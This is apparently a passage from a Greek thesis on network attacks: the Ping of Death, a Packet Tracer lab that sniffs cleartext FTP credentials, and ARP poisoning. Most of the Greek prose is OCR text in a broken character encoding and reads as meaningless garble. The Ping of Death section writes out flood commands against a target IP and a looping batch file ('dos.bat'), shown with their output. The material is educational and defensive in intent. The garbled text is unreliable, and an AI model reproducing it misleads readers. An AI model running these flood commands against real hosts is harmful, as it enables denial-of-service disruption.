TNYNG GTO GTOYEVOUEVO pMyYavnuo, To TakETo PiNg KatakepuatileTol 68 HKPOTEPES OUADEG
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nokétov. ‘Eva fragment sivar peyébovg 8 oktddmv. Otav avtd to ToKETOL PTACOVY GTO
OTOYXEVOUEVO  pNYavnua, otavovv oe koppdtw. Etol, 1o  oTtOyevopevo  pmydvnuo
ovvopporoyel o malformed moxéto mov Aappdvovior o koppdtio. Opmg, oAOKANPO TO

ouvopporoynuévo makéto mpokadel vrepyeilon tov buffer oto otoyevdpevo pnydvnuo
(Shekhar, 2022).

Avtd 1o buffer flow (por mpocwpivig amobfkevonc) mpokarei cvyvd ™ cvvipiPny Tov
GLOTNHOTOG, KAOIGTOVTOG TO GLOTNUA TTO EVAA®TO og emBéoelg. MOAG To cvotnua Yivel mo
eVGA®TO otV emibeon, entpénel TePLooOTEPES eMOEGELS OGS 1 £yyvor evog Trojan Horse
ot otoyevduevn unyovn (Shekhar, 2022). A&ilel vo onuewwbei 6L avt) N gvmadela, av Kot
avayvopiletor koAdtepa Yo TtV ekUETAAAELOT] TG amd emBécelg PoD,a pmopel va
a&tomomBei and omoladnmote TNy mov otélvel datagrams IP, ta omoio mepthaufavouvy éva
ICMP echo, to Internetwork Packet Exchange (IPX), to Transmission Control Protocol
(TCP) ko to User Datagram Protocol (UDP) (Fortinet, n.d.b).

O1 embéoeig Ping of Death tav 1d1aitepa amoTELEGUATIKEG EXEON 1) TOVTOTNTO TOV EIGPOAEN,
umopovoe gvkola vo miactoypaendei. Emmiéov, évag sioPforéac Ping of Death dev Ba
YPEWOLOTOV AEMTOUEPELS YVAOGEIS YO0 TO UNYOVNUO OTO ONOi0 emTédnke, €KTOC Omd N
devbuvvon IP tov (Imperva, n.d.d).

H ENTOAH PING

O1 voAhoyiotég ypnotponotovy éva cvotnuo unvopdtov ICMP echo-reply, yvootd kot mg
“ping”, v va dokiudoouvv Tig cuvdécelg diktvov. ‘Evag maAudc otédvete, o omoiog ekméumel
o ny® (echo) ywo vo mapgyel 6Tov XEPLOTH TANPOPOPIES oYETIKA pe 10 TEPIPAALOV TOV
dwktoov. Otav m odvdeon Aertovpyel dmwg mpoPAémeTal, o1 unyavég myns Aapdavoov po
amdvInon amd TIG UNYOVEG-GTOYOVG, 1 Omoio XPNOOTOLEITOL GLYVA amd pnyavikovs. Ot
eVTOAEG ping mepilopilovran o péyioto uéyebog 65.535 byte (Fortinet, n.d.b).

METATPOIIH PING XE PING OF DEATH

O1 emtiBépevol ypnoponoovy evtoAég ping yo vo. avartvéovv o evtoAr ping of death.
Mmopovv va ypayouv évav amkd Ppoyo oV TOVG EMITPETEL VO, EKTEAEGOVV TNV EVIOAN Ping
ue pueyén makétmv mov vrepPaivovy o péyloto eminedo twv 65.535 byte dtav n unyavi-
otOy0g emyepei va enavatonobetiost ta tpunpoto poli (Fortinet, n.d.b).

H ATAAIKAXIA THX EIIIOEXHX

I'a va copPei avth n eniBeon, o hacker petadidel mpmdta To Takéta peydAov peyéBovg oto
GUGTNUO TOV GTOYELOUEVOL GUCTHUOTOG. XTN OCULVEXELD, TO TOKETO Katokeppoatilovral,
KaBéva amd to omoia £xel péyloto Oplo peyéBovg. Otav 10 GUOTNUO TOV GTOYELOLEVOV
CLGTNUOTOG EVAOVEL Ta KOoppdtio Tov makétov. To oivoro tov peyéBovg tov TakéTov
vrepPaivel To 6plo peyéboug kot epeoaviCeton buffer overflow. Téhoc, n eniBeon dokdnTer To
ovoua 1 vroPadpilel v amddoon Tov cuethpatog (Sanyam, n.d.)
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[Mopakdto Ba dovpe tov TpdTO VAOTOINOTG TG EMiBeon S pécw eviodmv CMD.
Apyad, yio vo Egkviioovpe ) dladikacio, Oa tpénet va avoi&ovpe o command prompt, kot
Balovpe v mopakdto evtoin oto CMD.

Ping <IP Address> -t | 65500

Yy mopomive evioln, avtikabiotodue to “<IP Address>” pe tv IP Address tov
OTOYELOUEVOL GLGTNUATOSC. Me TN yprion tov “-t”, devkpwiletal 6Tl T0 cvoTUL dev OBa
OTOUOTAOEL VO, KAVEL PING uéyptl va otopatiosl and tov xpnotn yewokivita. To “65500”
amoTEAOVV Ta, 0E30UEVA IOV POPTOONKAV.

EvaAloxtikd, pmopei va die&aybei 1 idwo dwodikasio pe ) ypnon Notepad. Avoiyovtoc to
Notepad app, ypdoovpe T1¢ TapakdT® EVIOAEC.

:loop

ping <IP Address> -1 65588 -w 1 -n 1
goto :loop

Y11 mopomdve evtoAéc, avtikabiotodue to <IP Address> upe v IP address tov
OTOYXEVOUEVOV GLOTNUATOC. XTH GLvéyeln, amobnkevovue to Notepad pe évo omolodfmote
ovoua, 6mwe yuo mapddetypo “dos.txt”. Apov 1o amobnkeboovue to apyeio, arddlovue to
extension and “.txt” oe “.bat”, ko £étol T0 Gvopa Tov apyeiov Ba yiver “dos.bat”. Téhog, e
dumAd click mave oto apyeio, Bo dodue oo command prompt vo tpéyovv mOALG Pings
(Shekhar, 2022).

No onuewwbfel €dd OTL 01 TOPATAVE® EVIOAES, 16MC VO UMV AETOVPYNGOLVV GE KOO
GUGTNLLOTOL.

Ye o0TO TO ONUEID, YO VO KOTAVONGOVUE KOAVTEPO TO Tapomdve, Bo dovue €va pkpd
napdderypo. Oa ypnowomomoovpe Windows yio 10 mopokato® mopddetypo, kot 0o
vroBéocovpe OTL VILAPYOVY TOVANYICTOV SVO VTOAOYIGTEC Ol omoiot Ppickovtor 6to 1010
diktvo. Na onueidoovpe €dm 0Tt o1 embBéoeig DOS eivon mapdvoueg og diktva yio To omoia
dev elpaote EE0VGI0OTNEVOL Y10 VO KAVOLLE TNV emifeon).

Apycd, avoiyovpe to command prompt 6Tov GTOXEVOUEVO VTTOAOYIOTH KoL LE TNV EVIOAN
“ipconfig”, pe okomod vo Bpodue v IP address tov 6toy0v.
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' N\

ER Administrator: CAWindows\system32\cmd.exe = | (B

Microsoft Windows [Uerzion 6.1.76611 -
Copyright (c> 20A? Microsoft Corporation. All rights reserved.

C:slUserssDAEMON *ipconf ig

Hindows IP Configuration

Mobile Broadhand adapter Mohile Broadband Connection 3:

Connection—specific DHS Suffix

IPu4 Address. . . . . . . 18.128_.131 1098
Subnet Mask . . . . . . . L33 - £33 . 20044348
Default Gateway . . . . . 18.128_.131 .1@5

Ewkova 8: EvtoAn — “ipconfig”
Ynuewwvovpe v IP address tov vroloyioti — 6tdyov. Metafaivovpe 6Tov VIOAOYIGT UE
tov omoio Oa mpaypotomojoovpe TV emifeon kot avoiyovpe to command prompt, kot
Balovpe TV evtoAn mov gldaple Kol ToPOTAvVe, LE Amepa TaKETA 0edouEVAOV TV 65500.

ping 10.128.131.108 -t |65560

11 TOPOTAVE® EVIOAY £XOVLLE, TO “PING” TO 0MOi0 OTEAVEL TA TOKETA OEOOUEVMV TPOG TOV
VToOAOYIGTH — 6T0Y0, To “10.128.131.108” £ivon 1 drevbuvon IP tov vroroyioTh — 6TdYOL, N
EVIOAN “-t” onuaivel 6TL T TOKETA TOV 0E00UEVOY B oTEAVOVTOL PEYPL TO TPOYPOLLO VO
GTOLOTNOEL

Extehdvtag, Aomdv, Ty mopardve evioAn 0o 00VUE TO TOPAKAT® OTOTEAEGLA

s N

@8 Administrator: CAWindows\system32\cmd.exe - ping 10.128.131.108 -t -1 65500 (L= | =) [metSem

Reply from 18_128_131_.188: Yytes=6558b time<ims TTL=128 Eﬂ
18.128.131.1688: bytes=65500 :ime<ims TTL=128
18.128.131.188: bhyte=s=655%00 :ime<ims TTL=128
18.128.131.188: bytes=65500 :ime<ims TTL=128
18.128.131.188: hytes=65500 -ime<ims TTL=128
18.128.131.1688: byte==65500 ime<ims TTL=128
18.128.131.188: bhyte=s=655%00 :ime<ims TTL=128
18.128.131.188: bytes=65500 :ime<ims TTL=128

10.128.131.1088: bytes=65588 :ime<ims TTL=128
18.128.131.1688: bytes=65580 -ime<{ims TTL=128
18.128.131.188: bhytes=65588 :ime<lms TTL=128
18.128.131.188: bytes=65588 :ime<ims TTL=128
10.128.131.108: 'bytes=65580 cime<ims TTL=128
18,128 .131.188: Lotes=6G55AR time<ims TTL=128

4 il 2

)

Ewkova 9: EvtoAr — “-t’

Me 10 vo «inppopifovpe» TovV LIOAOYIGT — GTOYO e TOKETO dEdOUEVMV, Oev Ba €xel
LEYOAN EMIOPOOT) KO TPOKEWEVOD 1) €MBECT) VO YiVEL TTLO ATOTEAEGUOTIKY), Oat TPEMEL VoL Yivel
M enifeon pe ping amod meP1ocdTEPOVG amd Evay vmoAoylotés. H mapamdve eniBeon pmopel va
ypnowonomBei o dpoporoynTég EIGPOAEWY, O1UKOUIGTES IGTOV K.AT.

Mo va dodpe mo avalvtikd o AmOTEAECUATO TNG EMIOEGNC OV TPAYULATOTOMONKE GTOV

VTOAOYIOTN — GTOYO0, UWTOPOVLLE VO 0VOIEOLLE T SloyEIPIoN £PYOCLOV Kot Vo TPOPAAOVILE TIG
dpPACTNPLOTNTESG TOVL SIKTVOV.
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INo va avoi&ovpe ™ dwoyeipion epyoocidv, kavovpe de€i click oto taskbar kot emtléyovpue
“start task manager”, kavooue click oto tab “network” kot mapatnpodue ta mTapakdto
ATOTEAEGLOTAL.

-

'8 Windows Task Manager l = | (=] |ﬂh]1

File Options WYiew Help

Applications | Processes | Services | Performance Metworking | Users

Muobile Broadband Connection 3

B

Local Area Connection 3

-
Adapter Name Metwork Utlliza... Link Sp... State it
Bluetooth Metw... 0% - Disconnected
Local Area Con... 0% - Disconnected
Mohile Broadba. .. 30.93 % 7Mbps  Connected -
Processes: 123 CPU Usage: 10% Physical Memony: 97%

Ewkova 10: Task Manager

Edv m emiBeon eivar emtoyng, Oo mpémer va pumopovue va. 00VUE TIG OLENUEVEC
dpaoctnprotmreg dwiktvov (Williams, 2022).

ME®OAOI METPIAXMOY

Mo koA pébodog eivar m yprom evog Toiyovg TpooTaciog, T0 omoio va aviyvevsl o data
flood, to omoio mpoépyetan amd tov attacker, pe okomd oV AMOKAEIGUO TV SESOUEV®V TTOV
Tpoépyovtol amd ) cvykekpipévn devbuvon IP. EmmAéov, ol mepiocdTepol dpoporoyntés,
EMIPEMOVY TOV TEPOPWGUO otV TPOGPacn oto dikTvo. XPNOIHOTOUDVTAG OUTH TN
duvatdHTNTO, UTOPOVUE VO TEPLOPICOVLE TNV KVKAOPOPio Kot TEMKA Vo amotpanel 1 enifeon
(Shekhar, 2022).

INa vo amogevyfovv embéoeig Ping of Death kot ov maporlayég tov, moArol 1otdTOTOL
anokAeiovv eviehdg ta unvopoto ping ICMP ota teiyn npootaciog tovg. Qot660, 0T M
npocéyyion dev givar Pfrooun paxporpdbespa. Ot emBEcelS PN EYKLPOV TOKETOV UTOPOVV
va kotevduvBodv e omoladnmote BOpa akpodaocg - OTmg ot Bupeg FTP - ko iomwg va pnv
0élovpe va ta amokAgicovpe OAa owtd, Yo Agrtovpykovg Adyovg (Imperva, n.d.d).
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H mo é€umvn mpocéyyion Ba NTov 0 emAeKTIKOC AMOKAEIGHOC TOV KOTAKEPUATIGUEVOV PINg,
EMTPENOVTOS OTNV TPAYLOTIKT KUKAOQOpio. Ping va diépyetarl avepmddiota. Ot vanpecieg
Imperva DDoS Protection evtomiCovv é&umva. Kot TPOANTTIKG Kot QUATpApovV OAd To
acvvnOoTa peYdAo TOKETO, OKOUO KL 0V €IVOL KOTOKEPUATICUEVO, - EEAAEIPOVTOG EVIEADG
v aneidr] PoD kot tapdpoiwv embécewmv mov Poacilovrot o€ maxéto (Imperva, n.d.d).

AEITOYPI'EI AKOMA TO PING OF DEATH;

Ta meplocdtepa cvotiuata vVwoloylot®v Kot gadget eivor mpog 10 TOPOV KOADTEPO
npootatevuéva omd enbéoeig ping of death, mov mpokdiecav ™ cuvtpin N T0 ThyOUA TOV
VITOAOYIGTMOV Kol TV gadget - otdymv ota péca ™ dekaetiog tov 1990. Adpopot 1otdToTOoL
umlokapovv ta unvouata ping tov ICMP o¢ pétpo aceaieiog Evavtt LEALOVIIK®OV TOIKIAIDY
aVTOV TOV ETBECEDV.

To ping of death umopei vo ocouPei 6tov ta gadget | o eéomhioudg KAnpovopd ogv
eMoKeLALOVTAL. TNV TEPITTOON TOL £€VOG LIOAOYICTNG 1M €vag epyalOpevoc €xel o
KaKOPBovAN ovoia, pmropet va PAAWEL TO diKTVO, e ATOTEAECO TO CUGTNHO VO, KOTAPPEVOEL.

I'o va dgi€ovpe 611 0 ping of death mpaypotikd Aertovpyei, axolovBel o amekovion evog
véov ping of death:

Ympée o apién g enifeonc Ping of death tov Abyovoto tov 2013, vrovougbovtag Tovg
opyavicpovg IPV6. Kabog amokatactdOnke to didvucua g enifeong, £yive n eKueTOAAELON
wog advvopiog oe Keipevo Avolytod TOToL 610 Asrtovpykd diktvo twv Windows XP kot
tov Windows Server 2013. Avtf 1 advvapio evtomiotnke OTav TEPACTIES OMOUTNOES PINg
anootéAhovtor amd to IPV6, pe amotélespa n ektéheon tov ICMP va katappevoetl. Qo1660,
dev givor OVoKoAO va eEaAEIPOEl LT 1 adLVOLLAL.

Awmotodnke tov Oktofpro tov 2020 611 1 advvopioc 610 TPOYPOUUO  OONYNONG
e€optnuatov tov Windows TCPIP.sys uropohoe va S1omparyloTteLTel 0TO1001TOTE GLGTILLOL
Windows. Xg mepintwon mov 1 advvopio eKUeTaALEVTEL Lo nibeon, pumopel vo TpokorEcel
aTOYNUO N TEPUATICUO AETOVPYIOG TOL LIOAOYICTN UETA TNV emoveKKivnon. Aaufdvovtog
oY OAL T TOPATAV®, Ol EIGPOAEIC TIOTEVOVY OTL TOV SVOKOAD VO EKUETOAAEVTOVV TO.
TPOTG onpeia, eEmoUEvmg o1 Teldteg Enpene va dlopbdcovv o gadget tovg.

Onwg anodeikvoetarl amd avtég Tig meprtmoels, o ping of death eivotl akoun mapdv kot ta
diktva Tpénel va emdiméovv va Adpovy acediion ard avtd (Wallarm, n.d.).
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KEDAAAIO 5 XENAPIA EIIIOEXEQN KAI
TEXNIKEY KYBEPNOAX®AAEIAX

e autd 10 KEQAAO, TOPOVSIAloVTaLl Kamola cevapla emBécemv amd Tovg threat actors mpog
TOVG GTOYOVG TOVG KAOMG Kol TOLG TPOTOVS LLE TOLG OTOIOVE KATAPEPVOLV Vo EIGPAAOVY oTaL
cvothpata Kol ota diktvo Koppov. Emmiéov, mapatiBevtar ot tpdmot pe tovg omoiovg Evag
vevbuvog acedielng umopel va evtomicel avty v emifeon, oAAL Kol TOLG TPOTOLG
AVTILETOTIONS TETOWOL £100VG EMBEGEMV.

5.1 Logging Network Activity

To TPOTOKOALO HETOPOPAS OPYEIMV ETITPETEL GTOVG YPNOTES VO LETAGIOOVY OYKOVG apyeEiwV
péow tov Atadiktoov pécw amiov FTP  clients, pepwkd omd to omoiar &ivonr Mom
EVOOUOTOUEVO GTO OVO ONUOPIAT AETOVPYIKA cvuothuata, T Windows kat to Mac OS X.
AvoTtuy®g, avTn N ToAvayamnUEVN TeXVoAoYia dev eivarl ToAD acpaing. I'vopilovpe 6Tt £vag
€IoPoAEng OV €ivol OTAMGUEVOC LE EVOV OVIXVELTH TOKETOV UTOPEl EDKOAN VO ATOKTNGEL
ovouata YpNoTn Kot Kmdikovg tpocBoong amimg popiloviac pa obvvoeon FTP (Villanueva,
2022).

Méoa amnd 10 mapakdTem Topdderypo, Bo KOTavoCOVLE TL V0L O OVIXVEVTHG TAKETMV.
®a ypnoporomom 1o CISCO Packet Tracer, yio va deim v aviyvevon Kot Kataypoer e
dpaoTNPOTNTAG TOL OIKTVLOV. Ba TPoPAndel plor evmabelo acPaieiog o o €QApPLOYN

SKTOOL Ko pia, Kotayeypopupuévn kokropopio ICMP pe 1o syslog.

[Mopaxdatw, é&xet mopatebel o wmivokag pe TIg omapoitnteg O1evBOVGES, Ol Omoieg
xpnoporombnkay yo vo onpuovpyndei n toroAoyia.

DEVICE

PRIVATE IP ADDRESS

PUBLIC IP ADDRESS

FTP_Server

192.168.30.253

209.165.200.227

SYSLOG_SERVER

192.168.11.254

209.165.200.229

Router2

N/A

206.165.200.226
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Mo apyn Ba dnovpynoovue éva FTP traffic, otn ocvvéyeia Ba cuvoéoovpe €€ 0mooTacems

tov FTP Server kot 6o kdvoupe upload to apyeio.

—
DSL Mpdemi
" LAN 1 '
PC-A Roter1
192.168.10.0/24
192.168.11.0/24

i

DSL M grnz
4 192.168.30.252
. .J__’_'.,_ 209.165.200.227
Rolterz 182.168.30.0/24 FTP_Server
192.168.40.0/24 1592.168.30.253

ik

205.165.200.228

Sniffer
DNS_Server

152.168.30.254
209.165.200.229

g SYSLOG_SERVER

PC-C

L

Ewkova 11: TonoAoyia

Ta  Sniffers Aetrtovpyodv efetdloviag poéc makéTov Oedopévev mov péovv  UETAED
VTOAOYIOT®V G€ £€va OikTvo KoOdg kol HETAED OIKTLOUEVOV VTOAOYIGTAOV KOl TOL
Awdwktdov. Etvor dvvatiy 1 dwopodpemon twv sniffers pe dvo tpomove. O mpmdTo¢ €ival to
"apiitpapioto”, mov onuaivel 0Tt Bo cuALGPoLY Al Ta TOAVE TokéTa Kot Ba o Ypdyovy o€
évav Tomkd okAnpo dioko yio peAhovtiky e€€tao, Kot Tov "PIALTpapiopévou”, Tov oNUaivel
0Tl o1 avoAvtég Bo Kataypdeovy HOVO TAKETO OV TEPLEYOVV GCLYKEKPIUEVO GTOUYELD

dedopévav (kaspersky, n.d.b).

B Sniffer

Physical Config Gul Attributes
———

MODULES
PT-REPEATER-NM-1CE

Physical Device WView

Zoom In Original Size Zoom Out

PT-REPEATER-NM-1CFE
PT-REPEATER-NM-1CGE
PT-REPEATER-NM-1FFE
PT-REPEATER-NM-1FGE
PT-REPEATER-NM-COWER

Customize Customize

Icon in Icon in
Physical View Logical View

The PT-REPEATER-NM-1CE features a single Ethernet port that can connect a LAN backbone which can also support
either six PRI connections to aggregate ISDN lines, or 24 synchroncusfasynchronous ports.

1

[ Top

Ewkova 12: Activate the sniffing device 1
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Y10 mopddetypa, evepyomotovpe to Sniffer 1, kot oy mopokdt® eoToypaeio AETOVUE TOL
0o TpofAnbovv ta Takéta mov o Kataypaeobv kat Ba aviyvevBovv and T GuoKELN.

P
.
Physical Config GUl Attributes
N
Service ® On O off
Incoming Packets O Port0 @ Port1
Buffer Size I 256
Clear
Event List Fiters - Visible Events
FTP, S¥SLOG
Edit Fiters Show AliMone
(1 Top

Ewova 13: Activate the sniffing device 2

21t ovvéyewn ypnoomowdvtag ov PC-B Ba cuvoeboipe €€ anootdoswc (Remotely) pe tov
FTP server pe okond o Sniffer va aviyvevoet to mokéta Kot vo EVIOTIGOVE TOVG KMOKOVGE.
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®

Physical Config Desktop Programming Attributes
I

Command Prompt

[ Top

Ewkova 14: Remotely connect to FTP server

H obOvdeon yivetar péow g evtoang “fip 209.165.200.227” , dnAadn pe ) xpnon g public
IP address tov FTP server. I'a va oAoxinpwbBel n odvdeon otov server, {nrovvior To
Username kot Password. MoMg mpaypatomombel n ovvdeon, 0o avefdcovue €éva apyeio
OTOV server.

[
~

Physical Con fig Desktop Programming Aftributes
I

Command Prompt

Writing file clienti

File transfer in progr

Ewkova 15: Upload a file to the FTP server
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Mmnopovue va emPepfardoovpe Tt 10 apyeio pag avépnke otov server pe v evroin “dir”.
Mo va yiver mo EexdBapo, mopakdto PAEmovpe Tt gpeaviletal pe v eviodn “dir” agov
&yovpe mpoypatomomcet To upload tov apyeiov otov FTP server.

4
Physical Config Desktop Programming Aftributes
e
Command Prompt

ftp>dir

Listing /ftp directory from 209.1€5.200.227:
: as -k8.bin

asa923-k8.bin

clB84l-advipservicesk9-mz.124-15.T1 . bin

o
-~ nn

W oo am;mes W=

icesk9-m=z.124-15.Tl.bin
-mz.151-4_.M4 bin
0Onm-ipbase-mz.123-14_.T7 .bin
-124-8_.bin

WoHEOWWFEKF~W
O W ww

W ;W
[r
H W Wwn WO

-~ n

W wH~Wn

P

4€70455
4€70455
8€€2192

c800-universalkS-mz .SPA.152-4 M4 .bin
universalkS-mz .SPA.154-3_.M€a.bin
-SPA.bin
o e
cgrluUU-universalkS-mz _SPA_15¢-3.0LC
clientinfo.txt

[SSI ST ST S O

oW

w

yocto-1l.

800_yocto-1.7
—i-mz.1l
pt3000-iég4l2—

W W W

(S~

[
w

Ewova 16: The file in FTP Server
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AoV cuvdebnkape otov FTP Server kot avefdoape to apyeio mov 0éhapue, pécw tov PC-B,
umopovpe va dovpe pécw tov Sniffer, ta makéto MOV KoTAYPAENKOV OAAG KOl TO TMG
UTTOPOVLLE VO, EVTOTIGOVLE TOVG KOITKOVG TTOL YPNCLOTOWONKAV KATH T GUVOEST).

v

Physical Config Gul Attributes

Service ® on O off
Incoming Packets O Port0 @ Port1
Buffer Size I 255
FI'P CUUCNUC NMURDTRCT A
FTP
FTP ACKNOWLEDGEMENT NUMBER:53
FTP
FTP OF A QI RE A JFLAGS:0BOD A WINDOW:65535
FTP FS wSE w| o0m000
FTP
FTP CHECKSUM: 0x0000 URGENT POINTER: 0x0000
FTP
FTP OPTION ~
FTP hd
FTP
FTP DATA (WVARIABLE LENGTH) PADDING: O
FTP Command
1 T S T < T T T L3 T T T T T A OO R OO =3 1=
FTP Command:USER
FTPArgument: cisco
v

Clear
Event List Fiters - Visible Events
FTP, S¥5LOG

Edit Filters Show AllNone

[ Top
Ewkova 17: Investigate the FTP traffic

2V mopandve Kova topatnpovpe to e€Nc. Apywd otn otin “Buffer Size” Bpiokovton
TOL TOKETO TTOV KOTAYPAPNKOV KATA TNV d10dKacior cOvdEoN§ Kot avePAcatog tov apyeiov
otov FTP server. EmiAéyoviac kdBe évo and ta apyeic oto Buffer Size, oto 0elid,
enpaviovror ot TAnpopopies tov kébe makétov. Onmg PAémovpe kol oty gwkdva, oto FTP
Command mapamnpovpe T €vtoAég mov 06Onkay Katd v mopamdve dadkocio. Katd
ovvénewn, €00 PAémovpe oto FTP Command tnv evtoAr mov 860nke, 6TV GLYKEKPLET
TEPITTMON TO username mov ypnolpomomdnke ya va yiver n odvdeon otov FTP server, ko
oto FTP Argument BAénovpe to password avtictorya.

2opeova pe to Topamdve, 1 eumdbela aceaieiog mov evtomiCeton oto FTP, eivan 611 10
username kot password 1o FTP petadideton oe kabapd keipevo.
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(Evotnta 5.1.A) H Aettoupyila T@V aviXxveuTtov IOKETOV

Katohapaivoope oti évag eioPforéag mov eival omAMOUEVOG UE €vav aVIXVELTN TOKETMV
UTOpEL EVKOAN VO OTOKTHOEL OVOUOTO YPNOTH Kot K®O1KOHS TPOGROoTG amAmdg aviyvedovTog
o ovvoeon FTP, ka1t mov pmopei va ypnoomombei and po man-in-the-middle (MITM)
attack yvoot kot wg ARP poisoning. EmimAéov va tovicovpe 6Tt pio €110 dtodikocio
umopet va ypnoomon el Kot amd Toug SLXEPIOTES SIKTVOL Y10 TNV EKTEAECT] SYVOOTIKOV
dwtvov (Villanueva, 2022).

Mepwcoi and tovg dnuoeireig sniffers eivar o1 Cain and Abel, Carnivore, dSniff, Ettercap,
Fiddler, tcpdump wou Wireshark. Ou aviyvevtéc Aettovpyotv, Pacikd, cviiapfavovtog
TPAOTO TOKETA TOV AAUPEVOVY amd TO SIKTLO, CLUTEPIAAUPOVOUEV®V EKEIVOV TOV TAKETWOV
oL poopilovtor Yoo GAAOVS KEVIPIKOVS VTOAOYIGTEG. AVTO Umopel E0KOAM va yivel o€ éva
LAN mov cuvdéel KevIpiKovg DTOAOYIGTEG HEGM €VOG dtavopéa. Avtd cupPaivel emeldn Evag
Slavopéns amAdg mpomBel OA0 To TOKETOL TOL €1GAYOVTOL GE OAOVS TOVG GLVOEDEUEVOVG

KEVIPIKOVS VTOAOYIOTEG aveEAPTNTO amd TIC O1EVOVVGEIC TPOOPICUOD QVTMOV TOV TOUKETWV
(Villanueva, 2022).

Ot aviyveutég moKETOV UmOoPOvV Vo xpnoyomombodv 1000 c€ e€vovpupato 0G0 Kol GE
acVPUOTE STKTVO — 1) ATOTEAECUATIKOTNTA TOVG EEAPTATOL OO TO TOGO UTOPOVV VO «OOLVH
®G OMOTEAEGLLO TOV TPOTOKOA®YV OGPAAELNG SIKTVOV. Xe Eva EVOLPUOTO dikTvo, 01 sniffers
umopel va €xovv mpocPacn ota mokéETo KAOE SLUVOEIEUEVOL PNYOVALOTOS 1| Umopel va
nepopilovtar amd v TomoBEToN SKOTTAOV OIKTVOV. X £€vo. acVPUATO O1KTLO, Ol
nepLocoTePOL sniffers pmopovv va capm®covy uoévo €va Kavaal Kabe opd, aAld m yprion
TOMOTADV AcOPUOTOV SETAPOV Umopel va emekteivel avtiy ™ dvvatdtnta (kaspersky,

n.d.b).

MoMg ta mokéta mepdoovv oto sniffer, Aapupdvovpe TOAAEG TANpoPoOpieg oYETIKE e OVTAL.
[Ma mopdoetypa, va aviyvehoovpe ovopaTo ¥pNoTH Kol K®OKOVS TpdSPacng amd makéta
FTP, 6nwg eldape Kor mopanave. Qotdco, ovtd 10 Katopbopa dev Oa eival 1060 e0KoA0 £Gv
Bplokdpaocte oe diktvo petaymyng (Oniadn éva LAN mov ypnoiponotel dtokdmtn ovti yo
dwvopéa). ‘Evag drakontg elvar mo €Eumvog and Evav davopéa. [pomBel povo makéra oe
punyaveég Y Tig omoieg mpoopiloviat. Emopévamg, dev yivetar va aviyvevtodv to meplexduevo
OPOUEVAOV TOKETOV OV deV OMELOHVVOVTOL GTOV VITOAOYIOTN OGS, ENEWN 0V Ba Ta AdPovpe
noté ano v apyn (Villanueva, 2022).

(Evotnta 5.1.B) ARP poisoning and Man-in-the-Middle Attack

To ARP Poisoning (yvwotd kot g ARP Spoofing) eivar évag tomog xvPepvoenifeong mov
npaypotonoleitar péom evog tomuko Owtvov (LAN) mov mepihopfdvel v amoctoin
KakOBoviwv mokétowv ARP oe o mpoemiheypévn moin oe éva LAN mpokeyévov va
aAra&ovv ot Levéelg oty IP tov oe MAC address table. To mpwtokoiro ARP petappdlet Tic
devBvvoelg IP og devbiveeic MAC. Emedn 10 mpwtdékoiro ARP oyedidotnie Kabapd yio
amoTeEAESHOTIKOTNTO Kot Oyl Yo ac@dAeia, ot embBéoelg ARP Poisoning givor e€aipetikd
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€0KoA0 va Tpaypatomonfovy, epOGoV 0 eIGPOAENS £xEL TOV EAEYXO EVOG UNYOVILOTOG EVTOC
tov LAN o100V 1 eivon amevbeiog ouvdedepévog pe avtd (Radware, n.d.b).

H 101 1 eniBeon amotedeiton amd évav €16PoAEa TOV GTEAVEL Eva YEVOES UNVOULL ATTAVTIONG
ARP otV mposmideypévn TOAN SIKTVOV, EVIIUEPMOVOVTAS TOV OTL 1] d1evBuven MAC mpénet va
ovoyetiotel pe t dtevbvvon IP tov 6tdy0L Ko avtictpoa, £tct date 1 MAC tov 6TdH)Y0L
va givar cuvdedepévn pe t devbvvon IP tov sioPoréa. MOMG 1 Tpoemleyuévn TOAN AdPet
avTO TO PVOUO Kot LETASMDOEL TIC AALOYEG TNG G€ OAES TIG AAEC CLOKEVEG TOV JIKTVOV, OAN
N kivinon Tov o6TOYOVL GE OMOWONTOTE GAAN GUOKELY] GTO SIKTVO JVVETOL HEG® TOL
VTOAOYIOT] TOL €16PoAEn, emtpémoviag otov ewoPforéa vo v embewpnost | va Vv
TPOTOTOWGEL TPV TNV TPOWONGEL GTOV TPayUATIKO TOL TPoopicopd. Enelon ot embéoeig ARP
Poisoning ocvppaivouv ce 1060 younAod eminedo, ot ypnotec mov octoyevouvy 10 ARP
Poisoning oméviar avtidapBdvovior 0Tt 1 EMOKEYIUOTNTA TOVG EAEYXETOL 1) TPOTOTOIEITAL.
Extoc amd 11¢ embéoeig Man-in-the-Middle, to ARP Poisoning umopei va ypnopomomei yio
vo mpokoréoel uo katdotaocn denial-of-service oe éva LAN, amldg avayortiCoviog M
pixvovtag kot oyl Tpowbmvtag ta makéta tov otoyov (Radware, n.d.b).

Yvvontikd, Man-in-the-Middle attack eivor por popen evepyntikng vmokAomng katd v
omoia €vog eoPoAéag mapeumodilel TIC EMKOWVOVIEC LETOED TOVAAYIGTOV dVO UNXAVOV KOl
e€amatd o OOpata va motevovy 0Tl e&akorlovfolv va erikovmvodv ancvbeiog peta&d Toug.
AMG oV TPAYHOTIKOTNTO, TO TOKETO EMKOWVOVIOG PEOLV HEG® TOL UNYOVALOTOS TOV
eloPoiréa, emtpémoviog £tol otov eloPoréa va To kpueakovet (Villanueva, 2022).

Arev0vvoerg IP ko devBoveerig MAC

Otav Eexwvape por ovvdoeon pe dALo pnydvnua, yio mopdderypo pe évav owkopioty FTP,
ovvnBmg ewodyovpe pia devbuvon IP 1 to dvopa KEVTIPIKOD LIOAOYIGTH TOL UNYOVILLOTOG
TPoopopoy  (to.  ovOpoto  KEVTPIKOL  VWOAOYoTH Omwg 1o ftp.somedomain.com
avtiotoyilovtar avtopata o€ dievdivoelg IP) otnv epappoyn client (Villanueva, 2022).

IP ADDRESS: IP ADDRESS:
192.168.100.2 192 168.100.12
FTPCLIENT A FTP SERVER
- ... |
=== =  MACADDRESS: MAC ADDRESS:

08-00-27-E4-5C-3F 0B-00-27-0E-40-9C

Ewova 18: IP — FTP SERVER

Q061660, 01 101EC 01 GLOKELEG VAIKOV dgv ypnoionolovy devduveels IP yuo va dakpivovton
petald tovg. Avtifeta, 01 GLGKEVES LAIKOD TOL OVIIKOLV GTO 1010 OIKTLO YPNCLUOTOLOVV TIG
devBvvoeic MAC mov €yovv ekyopnbel povadwd ota NIC tovg. Qg ex tovToL, Yoo VO
UTOPEGOVV VO avTOAAGEOVY pmvopata petald evog meddtn FTP kau evog dwxopot) FTP,
v Topdostypa, ot devbuvoelg IP mpénet va emthivBodv e devBiveeig MAC. Avtr givar 1

54



